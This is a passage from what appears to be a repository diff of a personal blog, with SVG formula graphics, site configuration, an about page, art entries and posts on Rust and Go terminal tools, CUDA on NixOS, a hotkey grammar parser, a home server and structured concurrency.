676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z"></path></g><g data-mml-node="mo" transform="translate(3429.4,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mfrac" transform="translate(4429.7,0)"><g data-mml-node="mi" transform="translate(255.5,676)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mn" transform="translate(220,-686)"><path data-c="37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z"></path></g><rect width="700" height="60" x="120" y="220"></rect></g></g></g></svg>

After

Width:  |  Height:  |  Size: 3.2 KiB

View File

@@ -0,0 +1,2 @@
<svg style="vertical-align: -1.602ex" xmlns="http://www.w3.org/2000/svg" width="6.024ex" height="4.701ex" role="img" focusable="false" viewBox="0 -1370 2662.4 2078">
<g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mn"><path data-c="37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z"></path></g><g data-mml-node="mo" transform="translate(722.2,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mfrac" transform="translate(1722.4,0)"><g data-mml-node="mi" transform="translate(255.5,676)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mn" transform="translate(220,-686)"><path data-c="37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z"></path></g><rect width="700" height="60" x="120" y="220"></rect></g></g></g></svg>

After

Width:  |  Height:  |  Size: 2.2 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.6 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 8.2 KiB

35
config.yaml Normal file
View File

@@ -0,0 +1,35 @@
baseURL: https://lavafroth.is-a.dev/
pageinate: 5
relativeURLs: true
languageCode: en-us
title: lavafroth
theme: paprika
taxonomies:
tag: tags
menu:
main:
- identifier: art
name: art
url: /art/
- identifier: about
name: about
url: /about/
params:
description: "Hacker. Artist."
socials:
- platform: github
url: https://github.com/lavafroth
markup:
highlight:
anchorLineNos: false
codeFences: true
guessSyntax: false
hl_Lines: ""
hl_inline: false
lineAnchors: ""
lineNos: false
lineNumbersInTable: true
noClasses: true
noHl: false
style: monokai
tabWidth: 4

53
content/about.md Normal file
View File

@@ -0,0 +1,53 @@
---
title: "whoami"
draft: false
date: 2022-07-23T19:11:10+05:30
---
Hi, this is Himadri. I'm a self taught programmer and a digital artist.
You might have arrived here from [my YouTube channel](https://youtube.com/@lavafroth) or my open source work.
I'm doing a bachelors in data science at IITM.
I'm decent with programming languages like C and Java, the latter of which was
taught in school. I'm *great* at writing Golang and Rust. I render my YouTube
videos with Python and the manim framework, so I'd argue I'm competent at it
as well.
I have been daily driving various Linux distributions since 2016. For the past few years,
I have settled with NixOS. It is stable enough, incredibly versatile
and lets me declaratively configure all my setups.
Most of my work is open source and under the public domain. If you find value in them,
consider contributing to them or donating.
Thank you to all the institutions and non-profit
organizations such as [Khan Academy](https://khanacademy.org),
who provide [OpenCourseWare](https://en.wikipedia.org/wiki/OpenCourseWare) and make education accessible.
## Certifications
Petty things recruiters seem to care about.
[![Google Summer of Code 2024](/completion_certificate_2024_contributor.png)](https://summerofcode.withgoogle.com/programs/2024/projects/qkFDwSOk)
[![TryHackMe Advent Of Cyber 2020 Certificate](https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-6X9OWVY0HI.png)](https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-6X9OWVY0HI.png)
[![TryHackMe Advent Of Cyber 2021 Certificate](https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-HOXLPGFBZN.png)](https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-HOXLPGFBZN.png)
[![Harvard CS50 2022 Certificate](https://certificates.cs50.io/c7c6fbaa-40da-4c14-846d-d4fd01c1bd6f.png?size=letter)](https://certificates.cs50.io/c7c6fbaa-40da-4c14-846d-d4fd01c1bd6f.png?size=letter)
[![Harvard CS50 AI 2022 Certificate](https://certificates.cs50.io/fba1bdc0-0604-4623-8224-17b2bd9ee5db.png?size=letter)](https://certificates.cs50.io/fba1bdc0-0604-4623-8224-17b2bd9ee5db.png?size=letter)
[![Intro to Deep Learning Kaggle Certificate](/intro-to-deep-learning.png)](https://www.kaggle.com/learn/certification/himadribhattacharjee/intro-to-deep-learning)
[![Intro to Machine Learning Kaggle Certificate](/intro-to-machine-learning.png)](https://www.kaggle.com/learn/certification/himadribhattacharjee/intro-to-machine-learning)
[![Intermediate Machine Learning Kaggle Certificate](/intermediate-machine-learning.png)](https://www.kaggle.com/learn/certification/himadribhattacharjee/intermediate-machine-learning)
[![Intro to Game AI and Reinforcement Learning](/intro-to-game-ai-and-reinforcement-learning.png)](https://www.kaggle.com/learn/certification/himadribhattacharjee/intro-to-game-ai-and-reinforcement-learning)
## Send me a private message
You can send me a private message by encrypting it with my
[public SSH keys](https://api.github.com/users/lavafroth/keys)
and mailing it to [107522312+lavafroth@users.noreply.github.com](mailto:107522312+lavafroth@users.noreply.github.com).

10
content/art/_index.md Normal file
View File

@@ -0,0 +1,10 @@
---
title: "Art"
layout: "gallery"
---
All the art I make is licensed under [Creative Commons
Attribution-ShareAlike 4.0 International
license](https://creativecommons.org/licenses/by-sa/4.0/legalcode) unless
specified otherwise. Please read the legal code before redistributing, adapting
or remixing them.

View File

@@ -0,0 +1,13 @@
---
title: "Amateur Blender Sculpture"
date: 2024-08-03T17:50:00+05:30
image: "/nichole-sebastian-render-0.avif"
layout: "artpiece"
draft: false
---
This is my first time trying out sculpting in blender, so forgive me for the
quality of the sculpt. I'm still pretty much in the learning stage. Big thank
you to [Nichole Sebastian](https://www.pexels.com/@nichole-sebastian-1592975/)
for the reference photo. Also apologies if the empty eye sockets gave you a
jumpscare.

9
content/art/drowning.md Normal file
View File

@@ -0,0 +1,9 @@
---
title: "Drowning"
date: 2024-06-18T09:30:00+05:30
image: "/drowning.avif"
layout: "artpiece"
draft: false
---
A cyborg head sinking in a pool of water. What more did you expect? [Here's a timelapse](https://www.youtube.com/watch?v=lVbPXxq0xzg).

10
content/art/netrunner.md Normal file
View File

@@ -0,0 +1,10 @@
---
title: "Netrunner"
date: 2022-09-11T09:30:00+05:30
image: "/netrunner.avif"
layout: "artpiece"
draft: false
---
This piece takes heavy inspiration from Mirror's Edge, Cyberpunk Edgerunners,
Ergo Proxy and the like, things that gave me a sense of the term *Netrunner*.

10
content/art/nixchan.md Normal file
View File

@@ -0,0 +1,10 @@
---
title: "Nix Chan - Redraw"
date: 2024-01-21T09:30:00+05:30
image: "/nixchan_nu.png"
layout: "artpiece"
draft: false
---
The waifu NixOS users deserve.
Fun fact, this is a redraw after my dad (real artist btw) told me that the original piece had the anatomy messed up. Enjoy!

View File

@@ -0,0 +1,9 @@
---
title: "She's a Rebel"
date: 2022-04-17T17:01:44+05:30
image: "/shes-a-rebel.png"
layout: "artpiece"
draft: false
---
Clearly the title was an afterthought.

11
content/art/thiserror.md Normal file
View File

@@ -0,0 +1,11 @@
---
title: "This Error"
date: 2024-06-18T09:30:00+05:30
image: "/this_error.png"
layout: "artpiece"
draft: false
---
My first hand drawn YouTube thumbnail, I'm thinking of continuing to use
_lawyer ferris_ as my mascot both due to ferris being in the public domain
as well as the sheer memeworthiness of my original creation. 🤣

View File

@@ -0,0 +1,10 @@
---
title: "Truce"
date: 2022-07-23T19:07:32+05:30
image: "/truce.png"
layout: artpiece
draft: false
---
A painting of the lead vocalist of Twenty Øne Piløts, named
after one of my favorite songs from their album Vessel.

View File

@@ -0,0 +1,9 @@
---
title: "WIP Animation"
date: 2024-01-19T09:30:00+05:30
image: "/throwing-knives.gif"
layout: "artpiece"
draft: false
---
A little \*work in progress\* animation trying to emulate realistic motions. Thank you [Polina Tankilevitch](https://www.pexels.com/@polina-tankilevitch/) for the [reference video](https://www.pexels.com/video/a-young-woman-showing-her-skill-in-dancing-5385879/).

View File

@@ -0,0 +1,94 @@
---
title: "2 Afternoons, 2 Languages, 2 TUIs"
date: 2024-05-23T18:37:47+05:30
draft: false
tags:
- Rust
- Go
- Terminal
- UI
- YouTube
- Animation
- Manim
---
Yesterday I created a tool in Golang to help me render my animations a little
faster. Although the alterior reason was to check my Golang proficiency, today
I rewrote it in Rust and I was blown away by the differences in the final
products.
When I'm rendering animations for a YouTube video, the general development
iteration comprises me creating or modifying a file, switching to a different
terminal pane and manually issuing a _manim_ command for the respective file to
render and play the animation. My goal was to automate the last two processes,
switching terminal panes and manually issuing a command. The idea is to have a
tool running in the background that listens for filesystem events, like when a
file gets created or modified, and if the file happens to contain an animation,
renders it. On linux systems, it's mostly a bunch of bindings to `inotify` but I
have used platform agnostic libraries for both the languages.
There are also a few knobs that can be turned when it comes to rendering these
animations. Arguably the most important one among them is the quality parameter.
A bulk of my development cycles are spent rendering animations at a low quality
and previewing them for feedback. Once I'm satisfied with the animation, I tend
to create a high quality render for sanity checks as well as for placing them on
the final project timeline.
Since I'm working solo for now without editors and peer animators, there's
no race condition as to which animation gets rendered first it two files are
modified at the same time.
The Go version took me around 6 hours to finish. The Rust version fared at
a maximum of 4 hours. The Go tool should have taken less time compared to
the Rust tool because I used the [CharmBracelet](https://charm.sh) stack
including [BubbleTea](https://github.com/charmbracelet/bubbletea), [Bubbles]
(https://github.com/charmbracelet/bubbles) and [LipGloss](https://github.com/charmbracelet/lipgloss).
For those who are unaware, _BubbleTea_ uses the Elm
architecture for rendering and I have already worked on a GUI project that
employs the Elm architecture.
For the Rust side, I went with [ratatui](https://github.com/ratatui-org/ratatui)
with a few libraries like [tui-term](https://github.com/a-kenji/tui-term) and [tui-explorer](https://github.com/tatounee/ratatui-explorer) for scaffolding.
_tui-term_ enabled me to easily spawn a pseudo terminal session in a pane
inside the current program and _ratatui-explorer_ was useful for a quick and easy
file explorer.
The Go version had pretty things like modals and popups akin to a GUI application. In some sense, it felt more beginner friendly.
![The go version](/222go-preview.gif)
I had this strikingly different mindset when I was developing the Rust version. Knowing that my hands are chained to the keyboard and that I don't need a mouse,
I designed the Rust version to be more keyboard centric. Using the `tab` or arrow keys to move around? No thank you, `hjkl` is fine by me.
![Rust file picker](/222-project-directory.gif)
Focus on buttons and then hit enter to perform actions? Nah, key chords are faster. For this version, I chose the minimalist route, taking subtle inspirations from helix.
Helix has a feature akin to the `whichkey` plugin for `neovim` where if you press a key like `g` and wait, it shows you what keys to press next for related actions.
For the `g` example, it would say that you can press `g` again to go to the file's start, `e` to go the file's end and so on.
![Triggering a re-render in the Rust version](/222-re-render.gif)
The Rust tool has a single pane at the center which displays the output of _manim_ commands that get executed. A to status line describes the current working directory and the current render quality.
Lastly, there's a bottom legend that tells you what key chord you can chain next for a particular action. For example, you start a key chord by pressing `space`,
then you can press `q` to enter the context of setting the render quality. Finally you can press keys like `l` for 480p, `m` for `720p`, `h` for 1080p and so on.
![Triggering a re-render in the Rust version](/222-changing-quality.gif)
The last point in favor of the second architecture is how the key chords solidify in my muscle memory. After using it for just a few minutes,
I'm already incredibly (blazingly) fast at it. Compare that to the more polished design of the first, where using `tab`s and arrow keys always feels hit or miss.
It's incredibly fascinating how a change in the language made a perceptible
difference in the architecture of the final products. However, I don't think
this is necessarily a fault of _BubbleTea_ or any of the other _CharmBracelet_
products. Rather, it's a fault in my perception of the languages. I've always
thought of Go as a loosey-goosey language because it feels like Python with more
sanity and less magic. When I'm building a Golang tool, it feels like I'm making
a paper plane whereas building a Rust tool feels like using magnalum to build an
actual airplane.
With that said, if you're a beginner and `Arc<RwLock<T>>` gave you a jumpscare, it might be worth sticking with Golang _CharmBracelet_ stack, it's simple and can take you pretty far.
If you're good with Rust, don't sleep on _ratatui_. It's way better than how I remember it from a couple years ago. If you're interested
in the code, check out the Go project ~[here](https://github.com/lavafroth/hackermanim-tui)~ (the repository is no longer available, so you just have to take my word for it) and the Rust project [here](https://github.com/lavafroth/hm).
Until next time, remember, Rust is 2 fast 2 furious.

View File

@@ -0,0 +1,146 @@
---
title: "Painlessly setting up ML tooling on NixOS"
date: 2024-08-10T08:18:30+05:30
tags:
- Nix
- NixOS
- Machine Learning
- Python
- Workflow
- NVIDIA
- CUDA
- Rant
draft: false
---
> Note: The method described in this article should only be used if you wish to have the latest version of CUDA that is
not yet available in the cuda-maintainers cache, otherwise follow [this](https://app.cachix.org/cache/cuda-maintainers#pull).
> *TL;DR:* Save [this flake](#the-flake), run `nix develop` and [setup PyTorch as described](#setting-up-pytorch)
[CUDA](https://en.wikipedia.org/wiki/CUDA) is a proprietary vendor lock-in for machine learning folks.
Training ML models is incredibly fast with CUDA as compared to CPUs due to the parallel
processing. So if you're doing something serious, you have no other choice besides CUDA as of writing.
Although, OpenAI's Triton and ZLUDA are worth keeping an eye on.
Unlike your average distro, Nix will store its packages and libraries (derivations) in the Nix store instead of
locations like `/usr/bin`, `/usr/lib` and `/usr/lib64`. [This essentially prevents conflicts between installed packages](https://zero-to-nix.com/concepts/nix-store).
# How not to add CUDA
CUDA, being proprietary junk, does not allow you to redistribute
binaries that are linked with its blobs. Thus, for CUDA enabled PyTorch, we would have to [allow unfree
packages and enable CUDA support](https://discourse.nixos.org/t/pytorch-and-cuda-torch-not-compiled-with-cuda-enabled/11272/2).
```nix
import sources.nixpkgs {
config = {
allowUnfree = true;
cudaSupport = true;
};
}
```
Adding this to our `flake.nix` allows us the include these packages:
- `linuxPackages.nvidia_x11`
- `cudatoolkit`
- `cudnn`
Now we can install PyTorch by either adding
- `python311Packages.pytorch` to build PyTorch from source with CUDA support. This will take time longer than the heat death of the universe and more likely freeze low end PCs.
Refer to [this hackernews post](https://news.ycombinator.com/item?id=32931486).
- `python311Packages.pytorch-bin` which some people claim to have slightly faster builds at it
fetches the PyTorch binary from pytorch.org and patches it with the CUDA from `/nix/store`.
Refer to [this reddit post](https://www.reddit.com/r/NixOS/comments/195pzdb/speeding_up_python311packagestorchwithcuda_build/).
Both of these approaches are extremely slow, you might have to leave your PC overnight to actually get it to work.
# Bending the rules
To avoid all of the pain, we can build a lightweight sandbox that follows the normal Filesystem Hierarchy Standard with directories like `/usr/bin`, `/usr/lib`, etc.
Nix allows you to create such isolated root filesystems using the [`pkgs.buildFHSEnv`](https://ryantm.github.io/nixpkgs/builders/special/fhs-environments/) function.
It accepts a `name` for the environment and a list of `targetPkgs` with the things we'd need for basic NVIDIA support.
Note the inclusion of `micromamba` which will do most of the legwork when setting up PyTorch.
I've also included the `fish` shell because that's what I daily drive. You can remove that and the `runScript` attribute
to use the default bash.
## The flake
```nix
{
description = "Python 3.11 development environment";
outputs = { self, nixpkgs }:
let
system = "x86_64-linux";
pkgs = import nixpkgs {
inherit system;
config.allowUnfree = true;
};
in {
devShells.${system}.default = (pkgs.buildFHSEnv {
name = "nvidia-fuck-you";
targetPkgs = pkgs: (with pkgs; [
linuxPackages.nvidia_x11
libGLU libGL
xorg.libXi xorg.libXmu freeglut
xorg.libXext xorg.libX11 xorg.libXv xorg.libXrandr zlib
ncurses5 stdenv.cc binutils
ffmpeg
# I daily drive the fish shell
# you can remove this, the default is bash
fish
# Micromamba does the real legwork
micromamba
]);
profile = ''
export LD_LIBRARY_PATH="${pkgs.linuxPackages.nvidia_x11}/lib"
export CUDA_PATH="${pkgs.cudatoolkit}"
export EXTRA_LDFLAGS="-L/lib -L${pkgs.linuxPackages.nvidia_x11}/lib"
export EXTRA_CCFLAGS="-I/usr/include"
'';
# again, you can remove this if you like bash
runScript = "fish";
}).env;
};
}
```
> *Note:* This is _NOT_ the same as containers. The most obvious way to tell is because
you can access your NVIDIA GPU as is, without any passthrough shenanigans.
Enter this flake development environment using `nix develop`.
# Setting up PyTorch
Now that we have the scaffolding, we can use `micromamba` to install CUDA for our ML tooling.
```sh
micromamba env create \
-n my-environment \
anaconda::cudatoolkit \
anaconda::cudnn \
"anaconda::pytorch=*=*cuda*"
```
Here I'm creating an environment called `my-environment` with `cudatoolkit`, `cudnn` and PyTorch. While installing PyTorch, make sure to
pick a version whose name contains "cuda" like I did here, otherwise, it defaults to the CPU version.
You can also define a `micromamba` environment with a config file. Read more about it [here](https://conda.io/projects/conda/en/latest/user-guide/manage-environments.html).
Once the env gets created, use `micromamba activate my-environment` to hop right in. Profit!
# Conclusion
Although this is not the Nix way of doing things with micromamba able to be used imeperatively, this is probably the quickest
and most hassle free experience to start ML stuff on NixOS. I've seen quite a lot of people on both the internet and in real life
giving up on NixOS because of how annoying closed source libraries like CUDA can be.
Share this article around if you found this hacky approach to have improved your developer experience. I'm banking on open source alternatives to pick up steam
so that hopefully this article becomes irrelevant in the future.
Bye now.

View File

@@ -0,0 +1,157 @@
---
title: "A SWEET Little Parser"
date: 2024-05-17T07:52:44+05:30
tags:
- Wayland
- Rust
- SWHKD
- EBNF
- Google Summer of Code
draft: false
---
A few days ago, I had announced my project for this year's Google Summer of Code. Today I'll
be explanding upon that. I believe that to construct a good grammar, I should be able to understand
and explain it well. So here goes.
## General Idea
SWHKD's grammar parser, although similar to tools before it like sxhkd, has a more coherent
syntax. For starters, every binding declaration is one or more accelerators followed by a composite key.
The line following the binding declaration must be a tab or space indented command to be run by the client.
Here's a simple example to send a notification to myself using `libnotify` when I press `Super` `a`.
```
super + a
notify-send "bazinga!"
```
We can also issue multiline commands like we do in a normal shell by adding a bare backslash to the end
of each line. For example, the following binding checks if we have an Arduino connected and only then
sends a notification.
```
super + a
ls /dev/ttyACM0 && \
notify-send "bazinga arduino baby!"
```
This means we must ignore any trailing escaped line feeds and consider the two lines separated by them
as one.
Should be pretty simple right? Well, brace yourself for some added complexity: introducing shorthands!
## Shorthands
When it comes to bindings, a shorthand is two or more keys separated by commas inside curly braces.
```
super + {a, b}
```
Each variant of these shorthands must correspond to a variation in the command following the declaration.
This naturally brings us to shorthands in commands. These are much more relaxed, each variant can be a
chunk of a command instead of being restricted to a list of valid keys and modifiers.
If a declaration has shorthands in it, the command following it must also have shorthands.
```
super + {a, b}
notify-send {"you pressed a", "you pressed b"}
```
Although there exists a bash syntax to do similar shorthands, I like to think of SWHKD shorthands akin
to macros in Rust. Each binding _"compiles"_ to the possible Cartesian products formed by multiplying
these variants.
To give you an example, a binding like this
```
super + {ctrl, alt} + {a, b}
notify-send {"incoming", "outgoing"} {a, b}
```
would _"compile"_ to the following four bindings:
```
super + ctrl + a
notify-send "incoming" a
super + ctrl + b
notify-send "incoming" b
super + alt + a
notify-send "outgoing" a
super + alt + b
notify-send "outgoing" b
```
![An animation showing how the shorthands are compiled](/swhkd-macro-compilation.gif)
Obviously we need to make sure that the keys are properly escaped inside these shorthands. For example a comma,
inside a shorthand acts as a separator. To specify a literal comma key, we would need
to consider an escaped comma like `\,` inside a shorthand. The same applies to the curly braces themselves.
Shorthands also allow omitting variants when it comes to modifiers. In such cases, the omissions are represented
by underscores and the plus sign usually outside the shorthand follows every non-empty variant. Take the following
example:
```
super + {_, alt + } h
{htop, btm}
```
This expands to the following bindings:
```
super + h
htop
super + alt + h
btm
```
Notice that there is no extra logic to parse the concatenator (`+`) like we would need to
if the concatenator was outside the brace, because simply expanding the
shorthand set yields the correct outputs.
To not break this exception, we will model shorthands with omissions separate from regular
shorthands.
Now, what if you wanted to be even more succinct and define a bunch of shortcuts over a range
of keys? That's where the next puzzle piece comes into play.
## Ranges
Ranges are technically a subset of shorthands, just as we have used commas so far to separate
each element of a shorthand, SWHKD allows the use of dashes to specify a range of keys.
For example, you can use ranges to switch to workspaces:
```
super + {1-6}
cosmic-workspaces switch {1-6}
```
This maps the keys 1 through 6 to those in the command to switch to the corresponding workspace.
Ranges can also be used with bare elements separated by commas like the following example:
```
super + (a, 1-6)
cosmic-workspaces switch {\-\-overview, 1-6}
```
Like the previous example, this one switches through workspaces 1 through 6 for the corresponding
keys. However, pressing `Super` `a` shows us an overview of all the workspaces.
Just like regular shorthands, we need to escape the dash used in the range. That's why, we're using the escaped
version of `--overview` flag.
The observations we have made so far will be used to build the grammar in the project.
The demo repo called [sweet](https://github.com/lavafroth/sweet) (simple wayland event encoding text) is available ~~to my mentors for now but it should be public soon~~ publicly now.
~~I need to double check and make sure my mentors are aware when I make it fully public.~~
In the next post I'll talk about defining the grammar for regular keys. See you then!

View File

@@ -0,0 +1,98 @@
---
title: "A Tale of a Frugal Home Server"
date: 2025-01-04T10:04:37+05:30
draft: true
tags:
- NixOS
- Home Server
- Automation
- Jellyfin
- Photoprism
---
> Note: This post is a draft
Having run an on-premise server for the past two years, I think my setup has finally
matured enough to be worth talking about.
At any point, you can check out the source code for the server's infrastructure [here](https://github.com/lavafroth/dotfiles/tree/main/hosts/rahu) for a concrete example.
For each service I talk about, I will also link the respective definitions in my config.
My minimalist mindset has unsurprisingly aided the architecture of my server.
Throughout the rest of the post, you will come across the following broad strokes:
- Easy is not always simple
- Simple is better than easy
- There must be one (and exactly one) way of doing something
## Hardware
The server is an old laptop which was on the verge becoming e-waste. Despite having a touchscreen
display, the LCD had been battered into shards, making it no better than a shiny paperweight.
Although one could have kept the display, I carefully disassembled the machine to disconnect the corresponding
ribbon cable because we are aiming for a headless setup. Removing the display also reduces the power draw.
![A picture of the home server sans the display](/home-server/server.png)
## Software
I have seen a lot of people grow monstrous fleets of docker containers in the name of "simplicity" and ease of use.
Yet others take this further with dedicated operating systems like CasaOS to install containerized services in a single click.
Sure, these solutions might be easy but they are certainly not simple.
Containers introduce the overhead of Linux kernel namespaces. This means
accessing files on the host additionally requires creating a mount namespace.
To avoid all of that overhead, I opted for NixOS.
With NixOS, I can define the state of my system in a single configuration file, ensuring that the services
are running close to bare metal without any abstractions. Most of the services require adding something along the lines of
```nix
services.myservicename.enable = true;
```
to the configuration file and issuing a system rebuild with the `nixos-rebuild` command.
### Storage Management
Initially, I had configured three different routes to transfer files to the server.
Of these, only one service is in use today.
#### Syncthing
I had enabled Syncthing to automatically synchronize media from my phone. While it is a decent solution for a lot
of use cases, _it does not support partially sharing the contents of a directory_. This annoying 'all or nothing' nature
of Syncthing's file sharing is what drove me away from it.
#### Samba
A lot of people recommended samba because of its support on almost all platforms. However, it turned out to be extremely
slow. Yes, it boasts fancy video streaming capabilities but there are better solutions to building a media library than
manually searching for a file like a caveman.
#### SSHFS ([source](https://github.com/lavafroth/dotfiles/blob/c17a6053211145b08815cfaa0fe645c449e55ebd/hosts/rahu/configuration.nix#L154))
SSHFS is the sneaky third option that made the win! It is often referred to as SFTP (Secure File Transfer Protocol)
but the filesystem is usually FUSE mounted as `sshfs`.
The added advantage is that the connections go over SSH and uses the same credentials we would use to log into the server
as our user.
SFTP is fast and available on almost all platforms:
- Linux: Native support
- Android: Native support on some devices. Alternatively, use [Material Files](https://play.google.com/store/apps/details?id=me.zhanghai.android.files&hl=en-US)
- Windows: Supported through [WinSCP](https://winscp.net/eng/index.php)
- iOS: Suppported through [Pisth](https://pisth.github.io/ios/)
### Freedom from the Botnet
Finally, we can talk about weeding out the proprietary services that are holding us back
and replacing them with more privacy respecting alternatives.
#### Google Photos → Photoprism ([source](https://github.com/lavafroth/dotfiles/blob/c17a6053211145b08815cfaa0fe645c449e55ebd/hosts/rahu/configuration.nix#L19C1-L27C5))
Since I backup my phone's camera roll to the server, it's often nice to have these photos and videos
tagged and organized. Photoprism packs all the functionality of Google Photos including tagging people,
pets and places in photos, as well as searching through them along the timeline.
![](/home-server/photoprism.png)

View File

@@ -0,0 +1,173 @@
---
title: "Abstracting Structured Patterns in Concurrent Programming"
date: 2023-12-06T10:58:10+05:30
tags:
- Meta
- Concurrency
- Rust
---
> I hope this article provides a solid blueprint for building a concurrency management API.
If you have questions or feel that I have missed something, feel free to talk about it in this repository's [issue tracker](https://github.com/lavafroth/lavafroth.github.io/issues) or the [discussion board](https://github.com/lavafroth/lavafroth.github.io/discussions).
In recent months, I have come across multiple articles talking about the need
of structured concurrency in modern programming languages as a built-in. Notably, in the article [Notes on structured concurrency, or: Go statement considered harmful](https://vorpus.org/blog/notes-on-structured-concurrency-or-go-statement-considered-harmful/),
the author compares the `go` statement used to spawn coroutines to `goto` statements used
for jumping to other parts of code in early languages like COBOL.
With time we are introduced to structured pardigms like `if-else`, `loop` and `match`
(your language might call it `switch`) blocks, abstracting over the basic idea of `goto`
to make it understandable and less dangerous to work with.
The article ends with the author introducing nurseries, a controlled API to spawn,
observe, await or cancel coroutines. My idea is to extend this further to generalize over
patterns observed in a large number of projects.
All of this begins with the simple concept of reusable components.
I will talk mostly about abstract concepts but at the end of each section, I will also try to provide concrete
analogies in terms of the Rust programming language. I choose Rust because it is memory safe with lesser footguns
and has tagged enums which we will utilize in a component. Implementing this should nevertheless remain straightforward
for other languages.
The accompanying diagrams will follow these notations:
- Coroutines are represented as nodes.
- The solid lines connecting nodes that don't have arrowheads (called *spawn lines*) represent a coroutine spawned from the parent.
- Coroutines will always be spawned from left to right.
- Spawn lines colored in green along with emerging nodes represent coroutines managed by the API.
- Solid lines with arrowheads represent some resource being sent from the tail end to the head end.
## Collector
The collector is arguably the simplest of the components. It consumes results
from the coroutines spawned by the user and relays them back into the main
routine. This component can be part of the main routine, such as in the case of
a loop receiving results from a channel. It may also be spawned as a separate
coroutine in case the main routine has other important computing to do and is
performing long polling with loops.
In case of long polling, the task of polling every user-spawned coroutine is deferred to the collector.
In the following diagram, the rectangle on the extreme right is the collector, spawned separately from the main function.
{{< math Collector.svg >}}
A program with structured concurrency will always end with a collector. Even if the user-spawned coroutines have no result to send back to `main`,
it should at the bare minimum indicate any errors or lack thereof with a unit type. This allows the main function to be fully aware of whether the
the spawned functions are driven to completion or not.
In a language like Rust, one can expect the bare minimum for a user-spawned coroutine's return type
to be `Result<()>`. More specifically, the return type of the `async` function would be `Future<Output = Result<()>>` that can be `await`ed.
## Functors
A functor pattern consists of a user-defined function spawned in a separate
coroutine. The API wrapper around the function takes input through a channel
and passes it through the function.
The following diagram depicts the functor pattern where a user defined function
_f_ is spawned within a coroutine controlled by the API. The results from the purely user spawned coroutines are processed as they arrive, which might be out of order depending on network or other I/O latency.
{{< math Functor.svg >}}
Notice how the user spawned coroutines can only interact with the functor
through the API abstraction wrapping around the function. This provides for a
consistent function definitions while accounting for error propagation.
## Tagged Functors
A tagged functor pattern, in essence, is a group of functions, each consuming a
different variant of the previous layer's result and producing different outputs
sharing a trait. The API wraps these functions with a multiplexer that reads
*tags* on the inputs and passes them to the appropriate function. This
gives branching concurrent code first-class citizenship.
{{< math TaggedFunctor.svg >}}
The tags mapping inputs to corresponding functions can be implemented in two
ways. The first way is available in pretty much all programming languages. The
input structure (or object) has an enum field, the variants of which allow the
multiplexer to pass them to the respective functions. However, this route is
